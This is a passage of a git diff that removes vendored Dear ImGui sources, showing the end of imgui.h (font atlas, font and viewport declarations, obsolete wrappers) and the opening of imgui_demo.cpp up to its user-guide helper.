- IMGUI_API ImFont* AddFontDefault(const ImFontConfig* font_cfg = NULL); - IMGUI_API ImFont* AddFontFromFileTTF(const char* filename, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); - IMGUI_API ImFont* AddFontFromMemoryTTF(void* font_data, int font_size, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); // Note: Transfer ownership of 'ttf_data' to ImFontAtlas! Will be deleted after destruction of the atlas. Set font_cfg->FontDataOwnedByAtlas=false to keep ownership of your data and it won't be freed. - IMGUI_API ImFont* AddFontFromMemoryCompressedTTF(const void* compressed_font_data, int compressed_font_size, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); // 'compressed_font_data' still owned by caller. Compress with binary_to_compressed_c.cpp. - IMGUI_API ImFont* AddFontFromMemoryCompressedBase85TTF(const char* compressed_font_data_base85, float size_pixels, const ImFontConfig* font_cfg = NULL, const ImWchar* glyph_ranges = NULL); // 'compressed_font_data_base85' still owned by caller. Compress with binary_to_compressed_c.cpp with -base85 parameter. - IMGUI_API void ClearInputData(); // Clear input data (all ImFontConfig structures including sizes, TTF data, glyph ranges, etc.) = all the data used to build the texture and fonts. - IMGUI_API void ClearTexData(); // Clear output texture data (CPU side). Saves RAM once the texture has been copied to graphics memory. - IMGUI_API void ClearFonts(); // Clear output font data (glyphs storage, UV coordinates). - IMGUI_API void Clear(); // Clear all input and output. - - // Build atlas, retrieve pixel data. - // User is in charge of copying the pixels into graphics memory (e.g. create a texture with your engine). Then store your texture handle with SetTexID(). - // The pitch is always = Width * BytesPerPixels (1 or 4) - // Building in RGBA32 format is provided for convenience and compatibility, but note that unless you manually manipulate or copy color data into - // the texture (e.g. when using the AddCustomRect*** api), then the RGB pixels emitted will always be white (~75% of memory/bandwidth waste. - IMGUI_API bool Build(); // Build pixels data. This is called automatically for you by the GetTexData*** functions. - IMGUI_API void GetTexDataAsAlpha8(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel = NULL); // 1 byte per-pixel - IMGUI_API void GetTexDataAsRGBA32(unsigned char** out_pixels, int* out_width, int* out_height, int* out_bytes_per_pixel = NULL); // 4 bytes-per-pixel - bool IsBuilt() const { return Fonts.Size > 0 && (TexPixelsAlpha8 != NULL || TexPixelsRGBA32 != NULL); } - void SetTexID(ImTextureID id) { TexID = id; } - - //------------------------------------------- - // Glyph Ranges - //------------------------------------------- - - // Helpers to retrieve list of common Unicode ranges (2 value per range, values are inclusive, zero-terminated list) - // NB: Make sure that your string are UTF-8 and NOT in your local code page. In C++11, you can create UTF-8 string literal using the u8"Hello world" syntax. See FAQ for details. - // NB: Consider using ImFontGlyphRangesBuilder to build glyph ranges from textual data. - IMGUI_API const ImWchar* GetGlyphRangesDefault(); // Basic Latin, Extended Latin - IMGUI_API const ImWchar* GetGlyphRangesKorean(); // Default + Korean characters - IMGUI_API const ImWchar* GetGlyphRangesJapanese(); // Default + Hiragana, Katakana, Half-Width, Selection of 2999 Ideographs - IMGUI_API const ImWchar* GetGlyphRangesChineseFull(); // Default + Half-Width + Japanese Hiragana/Katakana + full set of about 21000 CJK Unified Ideographs - IMGUI_API const ImWchar* GetGlyphRangesChineseSimplifiedCommon();// Default + Half-Width + Japanese Hiragana/Katakana + set of 2500 CJK Unified Ideographs for common simplified Chinese - IMGUI_API const ImWchar* GetGlyphRangesCyrillic(); // Default + about 400 Cyrillic characters - IMGUI_API const ImWchar* GetGlyphRangesThai(); // Default + Thai characters - IMGUI_API const ImWchar* GetGlyphRangesVietnamese(); // Default + Vietnamese characters - - //------------------------------------------- - // [BETA] Custom Rectangles/Glyphs API - //------------------------------------------- - - // You can request arbitrary rectangles to be packed into the atlas, for your own purposes. - // - After calling Build(), you can query the rectangle position and render your pixels. - // - If you render colored output, set 'atlas->TexPixelsUseColors = true' as this may help some backends decide of prefered texture format. - // - You can also request your rectangles to be mapped as font glyph (given a font + Unicode point), - // so you can render e.g. custom colorful icons and use them as regular glyphs. - // - Read docs/FONTS.md for more details about using colorful icons. - // - Note: this API may be redesigned later in order to support multi-monitor varying DPI settings. - IMGUI_API int AddCustomRectRegular(int width, int height); - IMGUI_API int AddCustomRectFontGlyph(ImFont* font, ImWchar id, int width, int height, float advance_x, const ImVec2& offset = ImVec2(0, 0)); - ImFontAtlasCustomRect* GetCustomRectByIndex(int index) { IM_ASSERT(index >= 0); return &CustomRects[index]; } - - // [Internal] - IMGUI_API void CalcCustomRectUV(const ImFontAtlasCustomRect* rect, ImVec2* out_uv_min, ImVec2* out_uv_max) const; - IMGUI_API bool GetMouseCursorTexData(ImGuiMouseCursor cursor, ImVec2* out_offset, ImVec2* out_size, ImVec2 out_uv_border[2], ImVec2 out_uv_fill[2]); - - //------------------------------------------- - // Members - //------------------------------------------- - - ImFontAtlasFlags Flags; // Build flags (see ImFontAtlasFlags_) - ImTextureID TexID; // User data to refer to the texture once it has been uploaded to user's graphic systems. It is passed back to you during rendering via the ImDrawCmd structure. - int TexDesiredWidth; // Texture width desired by user before Build(). Must be a power-of-two. If have many glyphs your graphics API have texture size restrictions you may want to increase texture width to decrease height. - int TexGlyphPadding; // Padding between glyphs within texture in pixels. Defaults to 1. If your rendering method doesn't rely on bilinear filtering you may set this to 0. - bool Locked; // Marked as Locked by ImGui::NewFrame() so attempt to modify the atlas will assert. - - // [Internal] - // NB: Access texture data via GetTexData*() calls! Which will setup a default font for you. - bool TexPixelsUseColors; // Tell whether our texture data is known to use colors (rather than just alpha channel), in order to help backend select a format. - unsigned char* TexPixelsAlpha8; // 1 component per pixel, each component is unsigned 8-bit. Total size = TexWidth * TexHeight - unsigned int* TexPixelsRGBA32; // 4 component per pixel, each component is unsigned 8-bit. Total size = TexWidth * TexHeight * 4 - int TexWidth; // Texture width calculated during Build(). - int TexHeight; // Texture height calculated during Build(). - ImVec2 TexUvScale; // = (1.0f/TexWidth, 1.0f/TexHeight) - ImVec2 TexUvWhitePixel; // Texture coordinates to a white pixel - ImVector Fonts; // Hold all the fonts returned by AddFont*. Fonts[0] is the default font upon calling ImGui::NewFrame(), use ImGui::PushFont()/PopFont() to change the current font. - ImVector CustomRects; // Rectangles for packing custom texture data into the atlas. - ImVector ConfigData; // Configuration data - ImVec4 TexUvLines[IM_DRAWLIST_TEX_LINES_WIDTH_MAX + 1]; // UVs for baked anti-aliased lines - - // [Internal] Font builder - const ImFontBuilderIO* FontBuilderIO; // Opaque interface to a font builder (default to stb_truetype, can be changed to use FreeType by defining IMGUI_ENABLE_FREETYPE). - unsigned int FontBuilderFlags; // Shared flags (for all fonts) for custom font builder. THIS IS BUILD IMPLEMENTATION DEPENDENT. Per-font override is also available in ImFontConfig. - - // [Internal] Packing data - int PackIdMouseCursors; // Custom texture rectangle ID for white pixel and mouse cursors - int PackIdLines; // Custom texture rectangle ID for baked anti-aliased lines - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - typedef ImFontAtlasCustomRect CustomRect; // OBSOLETED in 1.72+ - typedef ImFontGlyphRangesBuilder GlyphRangesBuilder; // OBSOLETED in 1.67+ -#endif -}; - -// Font runtime data and rendering -// ImFontAtlas automatically loads a default embedded font for you when you call GetTexDataAsAlpha8() or GetTexDataAsRGBA32(). -struct ImFont -{ - // Members: Hot ~20/24 bytes (for CalcTextSize) - ImVector IndexAdvanceX; // 12-16 // out // // Sparse. Glyphs->AdvanceX in a directly indexable way (cache-friendly for CalcTextSize functions which only this this info, and are often bottleneck in large UI). - float FallbackAdvanceX; // 4 // out // = FallbackGlyph->AdvanceX - float FontSize; // 4 // in // // Height of characters/line, set during loading (don't change after loading) - - // Members: Hot ~28/40 bytes (for CalcTextSize + render loop) - ImVector IndexLookup; // 12-16 // out // // Sparse. Index glyphs by Unicode code-point. - ImVector Glyphs; // 12-16 // out // // All glyphs. - const ImFontGlyph* FallbackGlyph; // 4-8 // out // = FindGlyph(FontFallbackChar) - - // Members: Cold ~32/40 bytes - ImFontAtlas* ContainerAtlas; // 4-8 // out // // What we has been loaded into - const ImFontConfig* ConfigData; // 4-8 // in // // Pointer within ContainerAtlas->ConfigData - short ConfigDataCount; // 2 // in // ~ 1 // Number of ImFontConfig involved in creating this font. Bigger than 1 when merging multiple font sources into one ImFont. - ImWchar FallbackChar; // 2 // in // = '?' // Replacement character if a glyph isn't found. Only set via SetFallbackChar() - ImWchar EllipsisChar; // 2 // out // = -1 // Character used for ellipsis rendering. - bool DirtyLookupTables; // 1 // out // - float Scale; // 4 // in // = 1.f // Base font scale, multiplied by the per-window font scale which you can adjust with SetWindowFontScale() - float Ascent, Descent; // 4+4 // out // // Ascent: distance from top to bottom of e.g. 'A' [0..FontSize] - int MetricsTotalSurface;// 4 // out // // Total surface in pixels to get an idea of the font rasterization/texture cost (not exact, we approximate the cost of padding between glyphs) - ImU8 Used4kPagesMap[(IM_UNICODE_CODEPOINT_MAX + 1) / 4096 / 8]; // 2 bytes if ImWchar=ImWchar16, 34 bytes if ImWchar==ImWchar32. Store 1-bit for each block of 4K codepoints that has one active glyph. This is mainly used to facilitate iterations across all used codepoints. - - // Methods - IMGUI_API ImFont(); - IMGUI_API ~ImFont(); - IMGUI_API const ImFontGlyph* FindGlyph(ImWchar c) const; - IMGUI_API const ImFontGlyph* FindGlyphNoFallback(ImWchar c) const; - float GetCharAdvance(ImWchar c) const { return ((int)c < IndexAdvanceX.Size) ? IndexAdvanceX[(int)c] : FallbackAdvanceX; } - bool IsLoaded() const { return ContainerAtlas != NULL; } - const char* GetDebugName() const { return ConfigData ? ConfigData->Name : ""; } - - // 'max_width' stops rendering after a certain width (could be turned into a 2d size). FLT_MAX to disable. - // 'wrap_width' enable automatic word-wrapping across multiple lines to fit into given width. 0.0f to disable. - IMGUI_API ImVec2 CalcTextSizeA(float size, float max_width, float wrap_width, const char* text_begin, const char* text_end = NULL, const char** remaining = NULL) const; // utf8 - IMGUI_API const char* CalcWordWrapPositionA(float scale, const char* text, const char* text_end, float wrap_width) const; - IMGUI_API void RenderChar(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, ImWchar c) const; - IMGUI_API void RenderText(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, const ImVec4& clip_rect, const char* text_begin, const char* text_end, float wrap_width = 0.0f, bool cpu_fine_clip = false) const; - - // [Internal] Don't use! - IMGUI_API void BuildLookupTable(); - IMGUI_API void ClearOutputData(); - IMGUI_API void GrowIndex(int new_size); - IMGUI_API void AddGlyph(const ImFontConfig* src_cfg, ImWchar c, float x0, float y0, float x1, float y1, float u0, float v0, float u1, float v1, float advance_x); - IMGUI_API void AddRemapChar(ImWchar dst, ImWchar src, bool overwrite_dst = true); // Makes 'dst' character/glyph points to 'src' character/glyph. Currently needs to be called AFTER fonts have been built. - IMGUI_API void SetGlyphVisible(ImWchar c, bool visible); - IMGUI_API void SetFallbackChar(ImWchar c); - IMGUI_API bool IsGlyphRangeUnused(unsigned int c_begin, unsigned int c_last); -}; - -//----------------------------------------------------------------------------- -// [SECTION] Viewports -//----------------------------------------------------------------------------- - -// Flags stored in ImGuiViewport::Flags -enum ImGuiViewportFlags_ -{ - ImGuiViewportFlags_None = 0, - ImGuiViewportFlags_IsPlatformWindow = 1 << 0, // Represent a Platform Window - ImGuiViewportFlags_IsPlatformMonitor = 1 << 1, // Represent a Platform Monitor (unused yet) - ImGuiViewportFlags_OwnedByApp = 1 << 2 // Platform Window: is created/managed by the application (rather than a dear imgui backend) -}; - -// - Currently represents the Platform Window created by the application which is hosting our Dear ImGui windows. -// - In 'docking' branch with multi-viewport enabled, we extend this concept to have multiple active viewports. -// - In the future we will extend this concept further to also represent Platform Monitor and support a "no main platform window" operation mode. -// - About Main Area vs Work Area: -// - Main Area = entire viewport. -// - Work Area = entire viewport minus sections used by main menu bars (for platform windows), or by task bar (for platform monitor). -// - Windows are generally trying to stay within the Work Area of their host viewport. -struct ImGuiViewport -{ - ImGuiViewportFlags Flags; // See ImGuiViewportFlags_ - ImVec2 Pos; // Main Area: Position of the viewport (Dear ImGui coordinates are the same as OS desktop/native coordinates) - ImVec2 Size; // Main Area: Size of the viewport. - ImVec2 WorkPos; // Work Area: Position of the viewport minus task bars, menus bars, status bars (>= Pos) - ImVec2 WorkSize; // Work Area: Size of the viewport minus task bars, menu bars, status bars (<= Size) - - ImGuiViewport() { memset(this, 0, sizeof(*this)); } - - // Helpers - ImVec2 GetCenter() const { return ImVec2(Pos.x + Size.x * 0.5f, Pos.y + Size.y * 0.5f); } - ImVec2 GetWorkCenter() const { return ImVec2(WorkPos.x + WorkSize.x * 0.5f, WorkPos.y + WorkSize.y * 0.5f); } -}; - -//----------------------------------------------------------------------------- -// [SECTION] Obsolete functions and types -// (Will be removed! Read 'API BREAKING CHANGES' section in imgui.cpp for details) -// Please keep your copy of dear imgui up to date! Occasionally set '#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS' in imconfig.h to stay ahead. -//----------------------------------------------------------------------------- - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS -namespace ImGui -{ - // OBSOLETED in 1.81 (from February 2021) - IMGUI_API bool ListBoxHeader(const char* label, int items_count, int height_in_items = -1); // Helper to calculate size from items_count and height_in_items - static inline bool ListBoxHeader(const char* label, const ImVec2& size = ImVec2(0, 0)) { return BeginListBox(label, size); } - static inline void ListBoxFooter() { EndListBox(); } - // OBSOLETED in 1.79 (from August 2020) - static inline void OpenPopupContextItem(const char* str_id = NULL, ImGuiMouseButton mb = 1) { OpenPopupOnItemClick(str_id, mb); } // Bool return value removed. Use IsWindowAppearing() in BeginPopup() instead. Renamed in 1.77, renamed back in 1.79. Sorry! - // OBSOLETED in 1.78 (from June 2020) - // Old drag/sliders functions that took a 'float power = 1.0' argument instead of flags. - // For shared code, you can version check at compile-time with `#if IMGUI_VERSION_NUM >= 17704`. - IMGUI_API bool DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min, const void* p_max, const char* format, float power); - IMGUI_API bool DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min, const void* p_max, const char* format, float power); - static inline bool DragFloat(const char* label, float* v, float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalar(label, ImGuiDataType_Float, v, v_speed, &v_min, &v_max, format, power); } - static inline bool DragFloat2(const char* label, float v[2], float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalarN(label, ImGuiDataType_Float, v, 2, v_speed, &v_min, &v_max, format, power); } - static inline bool DragFloat3(const char* label, float v[3], float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalarN(label, ImGuiDataType_Float, v, 3, v_speed, &v_min, &v_max, format, power); } - static inline bool DragFloat4(const char* label, float v[4], float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalarN(label, ImGuiDataType_Float, v, 4, v_speed, &v_min, &v_max, format, power); } - IMGUI_API bool SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, float power); - IMGUI_API bool SliderScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_min, const void* p_max, const char* format, float power); - static inline bool SliderFloat(const char* label, float* v, float v_min, float v_max, const char* format, float power) { return SliderScalar(label, ImGuiDataType_Float, v, &v_min, &v_max, format, power); } - static inline bool SliderFloat2(const char* label, float v[2], float v_min, float v_max, const char* format, float power) { return SliderScalarN(label, ImGuiDataType_Float, v, 2, &v_min, &v_max, format, power); } - static inline bool SliderFloat3(const char* label, float v[3], float v_min, float v_max, const char* format, float power) { return SliderScalarN(label, ImGuiDataType_Float, v, 3, &v_min, &v_max, format, power); } - static inline bool SliderFloat4(const char* label, float v[4], float v_min, float v_max, const char* format, float power) { return SliderScalarN(label, ImGuiDataType_Float, v, 4, &v_min, &v_max, format, power); } - // OBSOLETED in 1.77 (from June 2020) - static inline bool BeginPopupContextWindow(const char* str_id, ImGuiMouseButton mb, bool over_items) { return BeginPopupContextWindow(str_id, mb | (over_items ? 0 : ImGuiPopupFlags_NoOpenOverItems)); } - // OBSOLETED in 1.72 (from April 2019) - static inline void TreeAdvanceToLabelPos() { SetCursorPosX(GetCursorPosX() + GetTreeNodeToLabelSpacing()); } - // OBSOLETED in 1.71 (from June 2019) - static inline void SetNextTreeNodeOpen(bool open, ImGuiCond cond = 0) { SetNextItemOpen(open, cond); } - // OBSOLETED in 1.70 (from May 2019) - static inline float GetContentRegionAvailWidth() { return GetContentRegionAvail().x; } - // OBSOLETED in 1.69 (from Mar 2019) - static inline ImDrawList* GetOverlayDrawList() { return GetForegroundDrawList(); } -} - -// OBSOLETED in 1.82 (from Mars 2021): flags for AddRect(), AddRectFilled(), AddImageRounded(), PathRect() -typedef ImDrawFlags ImDrawCornerFlags; -enum ImDrawCornerFlags_ -{ - ImDrawCornerFlags_None = ImDrawFlags_RoundCornersNone, // Was == 0 prior to 1.82, this is now == ImDrawFlags_RoundCornersNone which is != 0 and not implicit - ImDrawCornerFlags_TopLeft = ImDrawFlags_RoundCornersTopLeft, // Was == 0x01 (1 << 0) prior to 1.82. Order matches ImDrawFlags_NoRoundCorner* flag (we exploit this internally). - ImDrawCornerFlags_TopRight = ImDrawFlags_RoundCornersTopRight, // Was == 0x02 (1 << 1) prior to 1.82. - ImDrawCornerFlags_BotLeft = ImDrawFlags_RoundCornersBottomLeft, // Was == 0x04 (1 << 2) prior to 1.82. - ImDrawCornerFlags_BotRight = ImDrawFlags_RoundCornersBottomRight, // Was == 0x08 (1 << 3) prior to 1.82. - ImDrawCornerFlags_All = ImDrawFlags_RoundCornersAll, // Was == 0x0F prior to 1.82 - ImDrawCornerFlags_Top = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_TopRight, - ImDrawCornerFlags_Bot = ImDrawCornerFlags_BotLeft | ImDrawCornerFlags_BotRight, - ImDrawCornerFlags_Left = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotLeft, - ImDrawCornerFlags_Right = ImDrawCornerFlags_TopRight | ImDrawCornerFlags_BotRight -}; - -#endif // #ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - -//----------------------------------------------------------------------------- - -#if defined(__clang__) -#pragma clang diagnostic pop -#elif defined(__GNUC__) -#pragma GCC diagnostic pop -#endif - -// Include imgui_user.h at the end of imgui.h (convenient for user to only explicitly include vanilla imgui.h) -#ifdef IMGUI_INCLUDE_IMGUI_USER_H -#include "imgui_user.h" -#endif - -#endif // #ifndef IMGUI_DISABLE diff --git a/demos/DemoImGui/imgui_demo.cpp b/demos/DemoImGui/imgui_demo.cpp deleted file mode 100644 index b7689ed..0000000 --- a/demos/DemoImGui/imgui_demo.cpp +++ /dev/null @@ -1,7665 +0,0 @@ -// dear imgui, v1.82 WIP -// (demo code) - -// Help: -// - Read FAQ at http://dearimgui.org/faq -// - Newcomers, read 'Programmer guide' in imgui.cpp for notes on how to setup Dear ImGui in your codebase. -// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that. -// Read imgui.cpp for more details, documentation and comments. -// Get latest version at https://github.com/ocornut/imgui - -// Message to the person tempted to delete this file when integrating Dear ImGui into their code base: -// Do NOT remove this file from your project! Think again! It is the most useful reference code that you and other -// coders will want to refer to and call. Have the ImGui::ShowDemoWindow() function wired in an always-available -// debug menu of your game/app! Removing this file from your project is hindering access to documentation for everyone -// in your team, likely leading you to poorer usage of the library. -// Everything in this file will be stripped out by the linker if you don't call ImGui::ShowDemoWindow(). -// If you want to link core Dear ImGui in your shipped builds but want a thorough guarantee that the demo will not be -// linked, you can setup your imconfig.h with #define IMGUI_DISABLE_DEMO_WINDOWS and those functions will be empty. -// In other situation, whenever you have Dear ImGui available you probably want this to be available for reference. -// Thank you, -// -Your beloved friend, imgui_demo.cpp (which you won't delete) - -// Message to beginner C/C++ programmers about the meaning of the 'static' keyword: -// In this demo code, we frequently we use 'static' variables inside functions. A static variable persist across calls, -// so it is essentially like a global variable but declared inside the scope of the function. We do this as a way to -// gather code and data in the same place, to make the demo source code faster to read, faster to write, and smaller -// in size. It also happens to be a convenient way of storing simple UI related information as long as your function -// doesn't need to be reentrant or used in multiple threads. This might be a pattern you will want to use in your code, -// but most of the real data you would be editing is likely going to be stored outside your functions. - -// The Demo code in this file is designed to be easy to copy-and-paste in into your application! -// Because of this: -// - We never omit the ImGui:: prefix when calling functions, even though most code here is in the same namespace. -// - We try to declare static variables in the local scope, as close as possible to the code using them. -// - We never use any of the helpers/facilities used internally by Dear ImGui, unless available in the public API. -// - We never use maths operators on ImVec2/ImVec4. For our other sources files we use them, and they are provided -// by imgui_internal.h using the IMGUI_DEFINE_MATH_OPERATORS define. For your own sources file they are optional -// and require you either enable those, either provide your own via IM_VEC2_CLASS_EXTRA in imconfig.h. -// Because we can't assume anything about your support of maths operators, we cannot use them in imgui_demo.cpp. - -// Navigating this file: -// - In Visual Studio IDE: CTRL+comma ("Edit.NavigateTo") can follow symbols in comments, whereas CTRL+F12 ("Edit.GoToImplementation") cannot. -// - With Visual Assist installed: ALT+G ("VAssistX.GoToImplementation") can also follow symbols in comments. - -/* - -Index of this file: - -// [SECTION] Forward Declarations, Helpers -// [SECTION] Demo Window / ShowDemoWindow() -// - sub section: ShowDemoWindowWidgets() -// - sub section: ShowDemoWindowLayout() -// - sub section: ShowDemoWindowPopups() -// - sub section: ShowDemoWindowTables() -// - sub section: ShowDemoWindowMisc() -// [SECTION] About Window / ShowAboutWindow() -// [SECTION] Style Editor / ShowStyleEditor() -// [SECTION] Example App: Main Menu Bar / ShowExampleAppMainMenuBar() -// [SECTION] Example App: Debug Console / ShowExampleAppConsole() -// [SECTION] Example App: Debug Log / ShowExampleAppLog() -// [SECTION] Example App: Simple Layout / ShowExampleAppLayout() -// [SECTION] Example App: Property Editor / ShowExampleAppPropertyEditor() -// [SECTION] Example App: Long Text / ShowExampleAppLongText() -// [SECTION] Example App: Auto Resize / ShowExampleAppAutoResize() -// [SECTION] Example App: Constrained Resize / ShowExampleAppConstrainedResize() -// [SECTION] Example App: Simple overlay / ShowExampleAppSimpleOverlay() -// [SECTION] Example App: Fullscreen window / ShowExampleAppFullscreen() -// [SECTION] Example App: Manipulating window titles / ShowExampleAppWindowTitles() -// [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering() -// [SECTION] Example App: Documents Handling / ShowExampleAppDocuments() - -*/ - -#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) -#define _CRT_SECURE_NO_WARNINGS -#endif - -#include "imgui.h" -#ifndef IMGUI_DISABLE - -// System includes -#include // toupper -#include // INT_MIN, INT_MAX -#include // sqrtf, powf, cosf, sinf, floorf, ceilf -#include // vsnprintf, sscanf, printf -#include // NULL, malloc, free, atoi -#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier -#include // intptr_t -#else -#include // intptr_t -#endif - -// Visual Studio warnings -#ifdef _MSC_VER -#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen -#endif - -// Clang/GCC warnings with -Weverything -#if defined(__clang__) -#if __has_warning("-Wunknown-warning-option") -#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! -#endif -#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' -#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. -#pragma clang diagnostic ignored "-Wdeprecated-declarations" // warning: 'xx' is deprecated: The POSIX name for this.. // for strdup used in demo code (so user can copy & paste the code) -#pragma clang diagnostic ignored "-Wint-to-void-pointer-cast" // warning: cast to 'void *' from smaller integer type -#pragma clang diagnostic ignored "-Wformat-security" // warning: format string is not a string literal -#pragma clang diagnostic ignored "-Wexit-time-destructors" // warning: declaration requires an exit-time destructor // exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static/globals. -#pragma clang diagnostic ignored "-Wunused-macros" // warning: macro is not used // we define snprintf/vsnprintf on Windows so they are available, but not always used. -#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 -#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. -#pragma clang diagnostic ignored "-Wreserved-id-macro" // warning: macro name is a reserved identifier -#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision -#elif defined(__GNUC__) -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wint-to-pointer-cast" // warning: cast to pointer from integer of different size -#pragma GCC diagnostic ignored "-Wformat-security" // warning: format string is not a string literal (potentially insecure) -#pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function -#pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value -#pragma GCC diagnostic ignored "-Wmisleading-indentation" // [__GNUC__ >= 6] warning: this 'if' clause does not guard this statement // GCC 6.0+ only. See #883 on GitHub. -#endif - -// Play it nice with Windows users (Update: May 2018, Notepad now supports Unix-style carriage returns!) -#ifdef _WIN32 -#define IM_NEWLINE "\r\n" -#else -#define IM_NEWLINE "\n" -#endif - -// Helpers -#if defined(_MSC_VER) && !defined(snprintf) -#define snprintf _snprintf -#endif -#if defined(_MSC_VER) && !defined(vsnprintf) -#define vsnprintf _vsnprintf -#endif - -// Format specifiers, printing 64-bit hasn't been decently standardized... -// In a real application you should be using PRId64 and PRIu64 from (non-windows) and on Windows define them yourself. -#ifdef _MSC_VER -#define IM_PRId64 "I64d" -#define IM_PRIu64 "I64u" -#else -#define IM_PRId64 "lld" -#define IM_PRIu64 "llu" -#endif - -// Helpers macros -// We normally try to not use many helpers in imgui_demo.cpp in order to make code easier to copy and paste, -// but making an exception here as those are largely simplifying code... -// In other imgui sources we can use nicer internal functions from imgui_internal.h (ImMin/ImMax) but not in the demo. -#define IM_MIN(A, B) (((A) < (B)) ? (A) : (B)) -#define IM_MAX(A, B) (((A) >= (B)) ? (A) : (B)) -#define IM_CLAMP(V, MN, MX) ((V) < (MN) ? (MN) : (V) > (MX) ? (MX) : (V)) - -// Enforce cdecl calling convention for functions called by the standard library, in case compilation settings changed the default to e.g. __vectorcall -#ifndef IMGUI_CDECL -#ifdef _MSC_VER -#define IMGUI_CDECL __cdecl -#else -#define IMGUI_CDECL -#endif -#endif - -//----------------------------------------------------------------------------- -// [SECTION] Forward Declarations, Helpers -//----------------------------------------------------------------------------- - -#if !defined(IMGUI_DISABLE_DEMO_WINDOWS) - -// Forward Declarations -static void ShowExampleAppDocuments(bool* p_open); -static void ShowExampleAppMainMenuBar(); -static void ShowExampleAppConsole(bool* p_open); -static void ShowExampleAppLog(bool* p_open); -static void ShowExampleAppLayout(bool* p_open); -static void ShowExampleAppPropertyEditor(bool* p_open); -static void ShowExampleAppLongText(bool* p_open); -static void ShowExampleAppAutoResize(bool* p_open); -static void ShowExampleAppConstrainedResize(bool* p_open); -static void ShowExampleAppSimpleOverlay(bool* p_open); -static void ShowExampleAppFullscreen(bool* p_open); -static void ShowExampleAppWindowTitles(bool* p_open); -static void ShowExampleAppCustomRendering(bool* p_open); -static void ShowExampleMenuFile(); - -// Helper to display a little (?) mark which shows a tooltip when hovered. -// In your own code you may want to display an actual icon if you are using a merged icon fonts (see docs/FONTS.md) -static void HelpMarker(const char* desc) -{ - ImGui::TextDisabled("(?)"); - if (ImGui::IsItemHovered()) - { - ImGui::BeginTooltip(); - ImGui::PushTextWrapPos(ImGui::GetFontSize() * 35.0f); - ImGui::TextUnformatted(desc); - ImGui::PopTextWrapPos(); - ImGui::EndTooltip(); - } -} - -// Helper to display basic user controls. -void ImGui::ShowUserGuide() -{ - ImGuiIO& io = ImGui::GetIO(); - ImGui::BulletText("Double-click on title bar to collapse window."); - ImGui::BulletText( - "Click and drag on lower corner to resize window\n" - "(double-click to auto fit window to its contents)."); - ImGui::BulletText("CTRL+Click on a slider or drag box to input value as text."); - ImGui::BulletText("TAB/SHIFT+TAB to cycle through keyboard editable fields."); - if (io.FontAllowUserScaling) - ImGui::BulletText("CTRL+Mouse Wheel to zoom window contents."); - ImGui::BulletText("While inputing text:\n"); - ImGui::Indent(); - ImGui::BulletText("CTRL+Left/Right to word jump."); - ImGui::BulletText("CTRL+A or double-click to select all."); - ImGui::BulletText("CTRL+X/C/V to use clipboard cut/copy/paste."); - ImGui::BulletText("CTRL+Z,CTRL+Y to undo/redo."); - ImGui::BulletText("ESCAPE to revert."); - ImGui::BulletText("You can apply arithmetic operators +,*,/ on numerical values.\nUse +- to subtract."); - ImGui::Unindent(); - ImGui::BulletText("With keyboard navigation enabled:"); - ImGui::Indent(); - ImGui::BulletText("Arrow keys to navigate."); - ImGui::BulletText("Space to activate a widget."); - ImGui::BulletText("Return to input text into a widget."); - ImGui::BulletText("Escape to deactivate a widget, close popup, exit child window."); - ImGui::BulletText("Alt to jump to the menu layer of a window."); - ImGui::BulletText("CTRL+Tab to select a window."); - ImGui::Unindent(); -} - -//----------------------------------------------------------------------------- -// [SECTION] Demo Window / ShowDemoWindow() -//----------------------------------------------------------------------------- -// - ShowDemoWindowWidgets() -// - ShowDemoWindowLayout() -// - ShowDemoWindowPopups() -// - ShowDemoWindowTables() -// - ShowDemoWindowColumns() -// - ShowDemoWindowMisc() -//----------------------------------------------------------------------------- - -// We split the 